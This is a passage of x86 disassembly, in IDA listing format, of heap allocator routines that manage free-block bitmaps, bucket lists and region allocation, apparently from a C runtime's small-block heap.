sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E8AC: ; CODE XREF: sub_41E742+128j
; sub_41E742+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E8C4: ; CODE XREF: sub_41E742+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E8CC
; ---------------------------------------------------------------------------
loc_41E8C9: ; CODE XREF: sub_41E742+EDj
mov ebx, [ebp+arg_0]
loc_41E8CC: ; CODE XREF: sub_41E742+185j
cmp [ebp+var_C], 0
jnz short loc_41E8DA
cmp ebx, edx
jz loc_41E95B
loc_41E8DA: ; CODE XREF: sub_41E742+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E95B
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E932
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E921
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E921: ; CODE XREF: sub_41E742+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E95B
; ---------------------------------------------------------------------------
loc_41E932: ; CODE XREF: sub_41E742+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD374
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD36C
mov esi, dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DD36C
mov eax, dword_4DD374
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD374
mov ecx, dword_4DD36C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD374
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD374
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD374
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DD374
push dword ptr [eax+10h]
push 0
push dword_4DD384
nop
call near ptr 27F0000h
mov eax, dword_4DD378
mov edx, dword_4DD37C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD374
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD378
cmp eax, dword_4DD374
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD37C
mov dword_4DD370, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD36C, edi
mov dword_4DD374, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD378
mov edx, dword_4DD37C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD370
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD370, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD374
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD36C
jnz short loc_41ED67
and dword_4DD374, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD378
mov ecx, dword_4DD368
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD37C
push edi
push dword_4DD384
nop
call near ptr 28A0000h
cmp eax, edi
jz short loc_41EE07
add dword_4DD368, 10h
mov dword_4DD37C, eax
mov eax, dword_4DD378
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD37C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD384
lea esi, [ecx+eax*4]
call near ptr 2800000h
nop
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 2690BE8h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD384
nop
call near ptr 27F0000h
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD378
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 2690BE8h
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41F50E:loc_41F6DDp
cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
nop
call near ptr 2800000h
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
